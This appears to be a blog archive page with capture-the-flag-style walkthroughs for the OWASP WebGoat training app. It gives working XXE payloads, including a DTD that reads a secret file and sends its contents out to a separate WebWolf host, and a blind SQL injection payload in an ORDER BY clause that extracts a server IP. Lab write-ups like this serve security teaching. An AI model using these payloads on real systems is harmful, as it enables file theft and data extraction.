Monthly Archives: October 2018

OWASP WebGoat XXE

The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>
]>
<comment>
<text>&xxe;</text>
</comment>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘http://192.168.56.101:9090/landing?test=HelloWorld’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://192.168.56.101:9090/landing?%file;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “http://192.168.56.101:9090/files/123456/contents_file.dtd”>
%dtd;]>
<comment>
<text>test&send;</text>
</comment>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.